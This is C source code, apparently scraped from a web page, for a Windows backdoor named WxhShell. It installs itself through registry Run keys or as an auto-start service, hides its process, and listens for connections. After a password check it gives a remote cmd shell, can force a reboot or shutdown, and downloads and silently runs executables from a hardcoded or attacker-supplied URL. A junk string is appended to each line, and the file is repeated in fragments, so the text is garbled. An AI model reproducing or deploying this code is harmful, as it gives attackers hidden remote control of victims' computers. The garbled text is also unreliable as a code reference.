    break; T}"[f/:N/  
    } }P\6}cK  
  // 关机 3".#nN  
  case 'd': { D mky!Cp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q}z`Z/`/  
    if(Boot(SHUTDOWN)) rzvKvGd#N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0q]0+o*%  
    else { L)9Z Op5  
    closesocket(wsh); 9.9B#?  
    ExitThread(0); wIWO?w2  
    } Vkf{dHjW  
    break; fMM%,/b{  
    } hdmKD0  
  // 获取shell 00r7trZW^  
  case 's': { =<K6gC27  
    CmdShell(wsh); Bf[`o<c  
    closesocket(wsh); &2ty++gC  
    ExitThread(0); ;R@D  
    break; N&$ ,uhmO  
  } {#pw rWG  
  // 退出 2^rJ|Ni  
  case 'x': { m|OB_[9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lO0}  
    CloseIt(wsh); pWH,nn?w.  
    break; I_R6 M1  
    } ;Z`R!  
  // 离开 L7.SH#m  
  case 'q': { P%!=Rj^2m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cm"S=gV  
    closesocket(wsh); /cvMp#<]  
    WSACleanup(); V:+z3)qF  
    exit(1); 8NJT:6Q7l  
    break; $(*>]PC+)  
        } -]n%+,3L  
  } %E [HMq<H  
  } *=T(ncR['  
V"}Jsr  
  // 提示信息 K7nyQGS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0f'LXn  
} n@q- f-2  
  } }O| 9Qb  
)me`Ud  
  return; 2Je]dj4  
} -_O j iQ R  
3od16{YH  
// shell模块句柄 #ZP;] W  
int CmdShell(SOCKET sock) |WOc0M[U  
{ Oi-%6&}J  
STARTUPINFO si; [ Q/kNK  
ZeroMemory(&si,sizeof(si)); B$ho g_=s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <num!@2D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nI1(2a1  
PROCESS_INFORMATION ProcessInfo; [%~yY&  
char cmdline[]="cmd"; Bx5kqHp^1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q[/pE7FL  
  return 0; !DF5NA E  
} 'P[#.9E  
j"VDqDDz  
// 自身启动模式 $2-_j)+  
int StartFromService(void) S.<4t*,  
{ wTG(U3{3K  
typedef struct O}}rosA  
{ /?Mr2!3N  
  DWORD ExitStatus; Y hC|hDC  
  DWORD PebBaseAddress; l@-h.tS  
  DWORD AffinityMask; K CH`=lX  
  DWORD BasePriority; tE-g]y3  
  ULONG UniqueProcessId; 1xh7KBr,  
  ULONG InheritedFromUniqueProcessId; t% <y^Wa=  
}   PROCESS_BASIC_INFORMATION; GJs~aRiz  
@YG-LEh  
PROCNTQSIP NtQueryInformationProcess; h ^s8LE3  
JO90TP $  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I`i"*z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t*u#4I1  
}Gy M<!:  
  HANDLE             hProcess; aUA)p}/:  
  PROCESS_BASIC_INFORMATION pbi; tCar:p4$  
#3'M>SaoH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kQQDaZ 8  
  if(NULL == hInst ) return 0; *v?kp>O  
Xil;`8h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wcm8,?*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Qn{w%!|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LhM$!o?W  
(mKH,r  
  if (!NtQueryInformationProcess) return 0; =2ED w_5E  
P|]r*1^5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U4yl{?  
  if(!hProcess) return 0; pVrY';[,|  
Uqy/~n-v<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e0otr_)3F  
%~P T7"4  
  CloseHandle(hProcess); %H,s~IU  
D{[{&1\)r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l=(( >^i  
if(hProcess==NULL) return 0; ek0!~v<I  
X8N9*v y  
HMODULE hMod; 3wcF R0f  
char procName[255]; o P;6i  
unsigned long cbNeeded; VxARJ*4=Y  
a60rJ#GD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F[`dX  
E0 E K88  
  CloseHandle(hProcess); ?:-:m'jdU  
K}^# VlY9  
if(strstr(procName,"services")) return 1; // 以服务启动 As`=K$^Il.  
CH;U_b  
  return 0; // 注册表启动 ^w2 HF  
} n;Q8Gg2U  
cCNRv$IO\  
// 主模块 ;gD\JA  
int StartWxhshell(LPSTR lpCmdLine) Eh|,[ D!E  
{ BenyA:W"  
  SOCKET wsl; XoL DqN!  
BOOL val=TRUE; I~@8SSO,vH  
  int port=0; i. (Af$  
  struct sockaddr_in door; n|XheG7:  
 (/,l0  
  if(wscfg.ws_autoins) Install(); xIC@$GP  
SgehOu  
port=atoi(lpCmdLine); )|^8`f  
0K26\1  
if(port<=0) port=wscfg.ws_port; H:~u(N  
L$.3,./  
  WSADATA data;  0yq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vv{+p(~**O  
4KnBb_w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zB~ <@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y:t?W  
  door.sin_family = AF_INET; :zLf~ W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T<? kH  
  door.sin_port = htons(port); 9OW8/H&!  
+F2OPIanT~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .g\Oj0Cbxh  
closesocket(wsl); K,,) FM  
return 1; w}zmcO:x  
} k0K$OX*:e  
p'1/J:EnV  
  if(listen(wsl,2) == INVALID_SOCKET) { M*kE |q/K  
closesocket(wsl); UeLO`Ug0;  
return 1; @z{SDM  
} %Uz\P|6PO  
  Wxhshell(wsl); b \ln XN  
  WSACleanup(); ?4Rd4sIM$u  
V|$PO Qa3  
return 0; qqf*g=f  
wCruj`$  
} !$oa6*<1  
%xOxMK@  
// 以NT服务方式启动 |%v:>XEO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G 2)F<Y  
{ C49\'1\6  
DWORD   status = 0; s(3HZ>qx;  
  DWORD   specificError = 0xfffffff; H?J:_1  
_#6Q f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h\w;SDwOk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F}ATY!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )`f-qTe  
  serviceStatus.dwWin32ExitCode     = 0; ~ILv*v@m  
  serviceStatus.dwServiceSpecificExitCode = 0; >19s:+  
  serviceStatus.dwCheckPoint       = 0; \\#D!q*  
  serviceStatus.dwWaitHint       = 0; 5P"R'/[PA_  
to</  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,.>9$(s  
  if (hServiceStatusHandle==0) return; C9sU^ ]#F  
Vb\g49\o/  
status = GetLastError(); dB0#EJaE  
  if (status!=NO_ERROR) 3WGET[3  
{ $S|+U}]C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &um++ \  
    serviceStatus.dwCheckPoint       = 0; UNa "\  
    serviceStatus.dwWaitHint       = 0; 1J"I.  
    serviceStatus.dwWin32ExitCode     = status; Zja3HGL  
    serviceStatus.dwServiceSpecificExitCode = specificError; AG=PbY9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0P9\;!Y  
    return; dR1IndZl  
  } *YvtT (Gt  
;Jg$C~3tf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \2 N;V E  
  serviceStatus.dwCheckPoint       = 0; %bN{FKNN  
  serviceStatus.dwWaitHint       = 0; LkS tU)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eTvjo(Lvx  
} vu\W5M  
'kt6%d2  
// 处理NT服务事件,比如:启动、停止 @Xl(A]w%!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s.i9&1Y-!  
{ f/UU{vX(  
switch(fdwControl) nLz;L r!  
{ WX?nq'nr  
case SERVICE_CONTROL_STOP: 8^y=YUT  
  serviceStatus.dwWin32ExitCode = 0; K {v^Y,B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _Fa\y ZX  
  serviceStatus.dwCheckPoint   = 0; Jj>Rzj!m  
  serviceStatus.dwWaitHint     = 0; ~^Cx->l  
  { A'z]?xQR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ia}qDGqPp!  
  } h$!YKfhq}  
  return; @i>)x*I#AI  
case SERVICE_CONTROL_PAUSE: Uq#2~0n>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Tp k1  
  break; 3Z9Yzv)A  
case SERVICE_CONTROL_CONTINUE: 92<+ug=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =+MF@ 4  
  break; JP<j4/  
case SERVICE_CONTROL_INTERROGATE: M1-tRF  
  break; sPvs}}Z]P  
}; mB_?N $K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B+Qf? 1f  
} ;QXg*GNAv$  
:5%98V>02  
// 标准应用程序主函数 bTimJp[b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C`i#7zsH  
{ X1.-C@o  
KqntOo} y)  
// 获取操作系统版本 n~ad#iN  
OsIsNt=GetOsVer(); q& -mbWBj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PljPhAce  
#RR;?`,L}  
  // 从命令行安装 vkTu:3Qe  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4uOR=+/l  
|JIlp"[  
  // 下载执行文件 K-TsSW$}  
if(wscfg.ws_downexe) { -@(LN%7!C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %"mI["{  
  WinExec(wscfg.ws_filenam,SW_HIDE); q*&H  
} &@oI/i&0B  
]j>xQm\  
if(!OsIsNt) { uK"  T~  
// 如果时win9x,隐藏进程并且设置为注册表启动 oqF?9<Vgc,  
HideProc(); %akW43cE  
StartWxhshell(lpCmdLine); GuR^L@+ -.  
} PzSL E>Q  
else {TNORbZz  
  if(StartFromService()) U,i_}O3Q  
  // 以服务方式启动  (yP1}?  
  StartServiceCtrlDispatcher(DispatchTable); d9v66mpJM  
else <?7qI85OT  
  // 普通方式启动 IsI5c  
  StartWxhshell(lpCmdLine); yHw @Z  
m)p|NdTZc8  
return 0; D}y W:Pi'  
} ZDmL?mC  
zni9  
pV ^+X}  
ZMgsuzg  
=========================================== hO8xH +;  
1<_][u@  
1(BLdP3&  
g]vB\5uA:  
 N~$>| gn  
5HOl~E  
" J"AR3b@,$?  
c<|y/n  
#include <stdio.h> c rb^TuN  
#include <string.h> s oY\6mHio  
#include <windows.h> '/8/M{`s  
#include <winsock2.h> hxL?6mhY  
#include <winsvc.h> "ZGP,=?y2  
#include <urlmon.h> b=lJ`|  
59)w+AW  
#pragma comment (lib, "Ws2_32.lib") &f. |MNz;  
#pragma comment (lib, "urlmon.lib") 3Y38l P:>h  
rq3f/_#L!O  
#define MAX_USER   100 // 最大客户端连接数 r=n{3o+  
#define BUF_SOCK   200 // sock buffer 1 7 KQ  
#define KEY_BUFF   255 // 输入 buffer 7o+L  
h<%$?h+}  
#define REBOOT     0   // 重启 4u}Cki,vOK  
#define SHUTDOWN   1   // 关机 =_-u;w1D  
2QaE&8vW  
#define DEF_PORT   5000 // 监听端口 ~_EDJp1J  
>p-UQc  
#define REG_LEN     16   // 注册表键长度  6a,8t  
#define SVC_LEN     80   // NT服务名长度 n%F _ 3`  
,K,st+s|  
// 从dll定义API h}SZ+G/L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jXA/G%:[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uluAqDz`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pCIS8 2L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EX_j|/&tZ  
cQt&%SVT]E  
// wxhshell配置信息 ~NK $rHwi%  
struct WSCFG { rlKR <4H  
  int ws_port;         // 监听端口 Y ]()v  
  char ws_passstr[REG_LEN]; // 口令 [M[#f&=Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5T#v &  
  char ws_regname[REG_LEN]; // 注册表键名 9DA |;|  
  char ws_svcname[REG_LEN]; // 服务名 P'8RaO&d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A^z{n/DiL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P  y v>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~4~r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0`S{>G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *MmH{!=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5oG~Fc  
}lp37,  
}; Uwkxc  
l3Zi]`@r  
// default Wxhshell configuration C%Lr3M;S'  
struct WSCFG wscfg={DEF_PORT, [+D]!&P  
    "xuhuanlingzhe", "YI,  
    1, W_M#Gi/ AL  
    "Wxhshell", X\;:aRDS  
    "Wxhshell", Im~DK  
            "WxhShell Service", r gIWM"  
    "Wrsky Windows CmdShell Service", 9 ~W]D!m,  
    "Please Input Your Password: ", +45SKu=  
  1, c~(61Sn]  
  "http://www.wrsky.com/wxhshell.exe", q{&c?l*2  
  "Wxhshell.exe" oH=?1~ e  
    }; , ]1f)>  
.*` ^dt  
// 消息定义模块 aC}\`.Kb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j r) M],  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,1~zYL?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d?X,od6  
char *msg_ws_ext="\n\rExit."; fr(Ja;  
char *msg_ws_end="\n\rQuit."; X?t;uZI^  
char *msg_ws_boot="\n\rReboot..."; 8  *f 9  
char *msg_ws_poff="\n\rShutdown..."; 5.VPK 338A  
char *msg_ws_down="\n\rSave to "; eaf-_#qb  
fhN\AjB6Td  
char *msg_ws_err="\n\rErr!"; } TUr96  
char *msg_ws_ok="\n\rOK!"; oVK:A;3T|  
$3"hOEN@5`  
char ExeFile[MAX_PATH]; o_Zs0/  
int nUser = 0; vU%K%-yXG7  
HANDLE handles[MAX_USER]; ;w. la  
int OsIsNt; D@&xj_#\}  
TQck$&  
SERVICE_STATUS       serviceStatus; !nl-}P,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %@C8EFl%3  
@LOfqQ$FE  
// 函数声明 *4 LS``  
int Install(void); K[iAN;QCe%  
int Uninstall(void); nV8'QDQ:Al  
int DownloadFile(char *sURL, SOCKET wsh); GU> j8.  
int Boot(int flag); :7LA/j  
void HideProc(void); m?Y-1!E0  
int GetOsVer(void); ~RVlc;W  
int Wxhshell(SOCKET wsl); < +*  
void TalkWithClient(void *cs); zp8x/,gwF  
int CmdShell(SOCKET sock); P+f}r^4}  
int StartFromService(void); Kfb(wW  
int StartWxhshell(LPSTR lpCmdLine); [j/|)cj  
7_oUuNw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wY ItG"+6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T9$~tv,5F  
R*bx&..<  
// 数据结构和表定义 sPQj B[  
SERVICE_TABLE_ENTRY DispatchTable[] = S~:uOm2t\  
{ r2#G|/=@  
{wscfg.ws_svcname, NTServiceMain}, lUjZ=3"'  
{NULL, NULL} _<f%== I'  
}; {g nl6+j  
QP\:wi  
// 自我安装 #$W5)6ch  
int Install(void) ~v(c9I)  
{ 7u;N/@  
  char svExeFile[MAX_PATH]; 05H:ZrUV  
  HKEY key; 2+y wy^  
  strcpy(svExeFile,ExeFile); nmiJ2edx  
;MGm,F,o  
// 如果是win9x系统,修改注册表设为自启动 H_f8/H  
if(!OsIsNt) { BGi'UL,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p7> 9 m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % WDTnEm  
  RegCloseKey(key); .iR<5.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nsh/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *e [*  
  RegCloseKey(key); (km $qX  
  return 0; 424iFc[  
    } I<RARB-j  
  } ]CNPy$>*  
} bxYSZCo*  
else { mQ1  
TXM/+sd  
// 如果是NT以上系统,安装为系统服务 ]a/dvj}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5xr>B7MRM?  
if (schSCManager!=0) hkl0N%[  
{ rrfJs  
  SC_HANDLE schService = CreateService TY% c`Q5  
  ( ?J2A.x5` a  
  schSCManager, \LJ!X3TZ  
  wscfg.ws_svcname, @#hQ0F8  
  wscfg.ws_svcdisp, %'WC7s  
  SERVICE_ALL_ACCESS, `scW.Vem  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vf:.C|Z  
  SERVICE_AUTO_START, 1p~ORQ  
  SERVICE_ERROR_NORMAL, ^@/wXj:  
  svExeFile, nmn/4>  
  NULL,  GpTZp#~;  
  NULL, .$p eq  
  NULL, >dK0&+A  
  NULL, G.O;[(3ab  
  NULL n eu<zSS  
  ); Q^va +O  
  if (schService!=0) !+$QN4{9  
  { .Bkfe{^  
  CloseServiceHandle(schService); l4$ sku-  
  CloseServiceHandle(schSCManager); Eg1TF oIWl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9j^rFG!n  
  strcat(svExeFile,wscfg.ws_svcname); CC^]Y.9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <EqS ,cO^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dn<3#V  
  RegCloseKey(key); )6%*=-  
  return 0; e=h-}XRC  
    } !D1#3?L  
  } LodP,\T  
  CloseServiceHandle(schSCManager); ~6t<`&f  
} 7l-MV n_8  
} =U~53Tg  
hwUb(pZ  
return 1;  g4q{ ]  
} |in>`:qk  
<v9IK$J  
// 自我卸载 wM[Z 0*K  
int Uninstall(void) 7R[7M%H  
{ JtSwbdN  
  HKEY key; = LIb0TZ2  
IR3SP[K"  
if(!OsIsNt) { v(Kj6'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0= bXL!]  
  RegDeleteValue(key,wscfg.ws_regname); LkHH7Pd@  
  RegCloseKey(key); 7./-|#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Efe(tH2q  
  RegDeleteValue(key,wscfg.ws_regname); +cXi|Zf  
  RegCloseKey(key); 8h)7K/!\  
  return 0; {9;-5@b  
  } *6<4ECa7C  
} whe%o  
} lE%KzX?&  
else { c]1AM)xo  
tc.|mIvw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o_=4Ex "  
if (schSCManager!=0) @Oz3A<M  
{ e~*tQ4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n&&C(#mBC  
  if (schService!=0) :Nf(:D8  
  { Jm)7!W%3  
  if(DeleteService(schService)!=0) { vK/`or3U  
  CloseServiceHandle(schService); 5h Sd,#:  
  CloseServiceHandle(schSCManager); #s(ob `0|  
  return 0; bZUw^{~)D  
  } OR+_s @Yg  
  CloseServiceHandle(schService); &b,A-1`w_  
  } QsPg4y3?D  
  CloseServiceHandle(schSCManager); \s)$AF  
} r2tE!gMC  
} j0oto6z~b  
8 [,R4@  
return 1; 9a@S^B>  
} P//nYPyzg  
\2~\c#-k  
// 从指定url下载文件 (bsywM  
int DownloadFile(char *sURL, SOCKET wsh) yz,_\{}  
{ '`gnJX JO  
  HRESULT hr; ^-Arfm%dn  
char seps[]= "/"; #a@jt  
char *token; W,,3@:  
char *file; 0iC5,  
char myURL[MAX_PATH]; 1,zc8>M  
char myFILE[MAX_PATH]; -#;ZZ \fdj  
%L)QTv/  
strcpy(myURL,sURL); % &H^UxC  
  token=strtok(myURL,seps); )mAD<y+  
  while(token!=NULL) JgHYuLB  
  { dg*xo9Xi`  
    file=token; 6NyUGGRq  
  token=strtok(NULL,seps); F5H*z\/={  
  } jR:\D_:  
R$IsP,Uw  
GetCurrentDirectory(MAX_PATH,myFILE); e\aW~zs 2  
strcat(myFILE, "\\"); Nf* .r  
strcat(myFILE, file); =Gj~:|;$  
  send(wsh,myFILE,strlen(myFILE),0); !Q_Kil.9  
send(wsh,"...",3,0); \I6F;G6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I4ZbMnO  
  if(hr==S_OK) 6^jrv [d  
return 0; ;D-k\kv  
else Omn $O>  
return 1; hxJKYU^%m  
n]3'N58  
} Q$: ,N=%  
GHLFn~z@XJ  
// 系统电源模块 8?'=Aeo  
int Boot(int flag) $z)egh(z  
{ >(YH@Z&;  
  HANDLE hToken; t]vv&vk>  
  TOKEN_PRIVILEGES tkp; iM9k!u FE  
xrY >Or  
  if(OsIsNt) { c>c4IQ&d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >e.vUUQ{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yXtQfR  
    tkp.PrivilegeCount = 1; E*tT^x)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2|1CGHj\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &'DR`e O)  
if(flag==REBOOT) { D8B\F5..c#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]RadwH"0!  
  return 0; >D##94PZ  
} h<'tQGC  
else { Kx[+$Qt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w .M  
  return 0; i*4v!(E  
} e50xcf1u  
  } 8eh3K8tL#  
  else { *\iXU//^)  
if(flag==REBOOT) { tNqSCjQ~_c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J.g6<n  
  return 0; o9M r7  
} i(e=  
else { 4 u0?[v[Hu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n^55G>"0|  
  return 0; {fEb>  
} j~+(#|  
} @kT@IQkri  
E)p[^1WC  
return 1; ^xgPL'  
} BlT)hG(M>  
&01KHJY)/G  
// win9x进程隐藏模块 *U\`HUW  
void HideProc(void) 7FaF]G  
{ c\szy&W  
m>w{vqPwJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  9,tk  
  if ( hKernel != NULL ) Jfv'M<I  
  { nD 4C $  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UT 7'-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0;w 4WJJ  
    FreeLibrary(hKernel); <O-R  
  } L"T :#>  
&(o&Y  
return; #'i,'h+F  
} |hDN$By  
FKf2Q&2I  
// 获取操作系统版本 X}QcXc.d  
int GetOsVer(void) [oXr6M:  
{ dgByl-8Q  
  OSVERSIONINFO winfo; 8{&.[S C7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r M}o)  
  GetVersionEx(&winfo); |w>b0aY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w&hCt c  
  return 1; d,'gh4C  
  else 4] u\5K-  
  return 0; x],XiSyp  
} BoARM{m  
zqXDD; w3  
// 客户端句柄模块 ]-+l.gVFW  
int Wxhshell(SOCKET wsl) 5lwMc0{/3  
{ lEQj62zIQ  
  SOCKET wsh; 'w/ S6j  
  struct sockaddr_in client; Oq}7q!H  
  DWORD myID; elD|b=(-  
c4Q%MRR  
  while(nUser<MAX_USER) X VH( zJ  
{ {?cF2K#  
  int nSize=sizeof(client); x'Nc}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 79jnYjk  
  if(wsh==INVALID_SOCKET) return 1; ?ZhBS3L  
$p }q,f.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); urL@SeV+$  
if(handles[nUser]==0) ( p CU:'"  
  closesocket(wsh); L?Ih;  
else T#H-GOY:  
  nUser++; /p}pdXS  
  } cwHbm%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8&1xb@Nc7  
9zLeyw\  
  return 0; q03nu3uDI  
} yZmeke)_  
( ~JtKSq%  
// 关闭 socket QZL,zI]LL  
void CloseIt(SOCKET wsh) ]4FAbY2'h  
{ <c,iu{:  
closesocket(wsh); {X nBj}C  
nUser--; x|Ms2.!  
ExitThread(0); L5wFbc"u  
} \ ~C/  
,nUovWN07  
// 客户端请求句柄 po*r14f  
void TalkWithClient(void *cs) 8SupoS  
{ c11;(  
raMtTL+  
  SOCKET wsh=(SOCKET)cs; 4Le{|B  
  char pwd[SVC_LEN]; Izfq`zS+\s  
  char cmd[KEY_BUFF]; )L"J?wTe  
char chr[1]; _~y-?(46K  
int i,j; mF>{cVTF  
{JfL7%  
  while (nUser < MAX_USER) { zUWWXC%R  
1_@vxi~aW_  
if(wscfg.ws_passstr) { C5X!H_p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kj-zEl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lr "V  
  //ZeroMemory(pwd,KEY_BUFF); ciCQe]fS  
      i=0; FaaxfcIfkw  
  while(i<SVC_LEN) { =< P$mFP2*  
a{.-qp  
  // 设置超时 Pf3F)y[=  
  fd_set FdRead; {J;(K~>?m  
  struct timeval TimeOut; 8&7zV:=  
  FD_ZERO(&FdRead); AbX#wpp!  
  FD_SET(wsh,&FdRead);  "'Q~&B;@  
  TimeOut.tv_sec=8; hu~XFRw15  
  TimeOut.tv_usec=0; Zo Ra^o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :v E\r#hJ"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "(p&Oz  
&i *e&{L7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <II>io ;  
  pwd=chr[0]; 6""i<oR  
  if(chr[0]==0xd || chr[0]==0xa) { i06|P I  
  pwd=0; *M6j)jqV  
  break; }%3i8e  
  } d(,M  
  i++; N1l^%Yf J  
    } <4"Bb_U  
}l5Q0'  
  // 如果是非法用户,关闭 socket }#Kl6x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MX|@x~9W  
} _u#r;h[  
5^N` ~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (%4O\ s#l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VE^IA\J x  
X/D% cQ6  
while(1) { ca'c5*Fs  
o"qG'\x  
  ZeroMemory(cmd,KEY_BUFF); aBKJd  
e8)8QmB{o  
      // 自动支持客户端 telnet标准   u X(#+  
  j=0; kM7 6?M  
  while(j<KEY_BUFF) { Ge*N%=MX 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "l(<<Ha/  
  cmd[j]=chr[0]; )kE1g&  
  if(chr[0]==0xa || chr[0]==0xd) { *nHkK!d<N  
  cmd[j]=0; ~[0^{$rrWs  
  break; f3mQd}<L  
  } 8~iggwZ~h"  
  j++; 2bOFH6g  
    } J>+~//C  
zHXb[$ Q  
  // 下载文件 wHs4~"EY9  
  if(strstr(cmd,"http://")) { oK2jPP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [XD3}'Aa  
  if(DownloadFile(cmd,wsh)) )yS S2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .R&jRtb/E  
  else "]yfx@)_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Oe}OSxnT  
  } C=DC g  
  else { dMa6hI{k  
]mx1djNA  
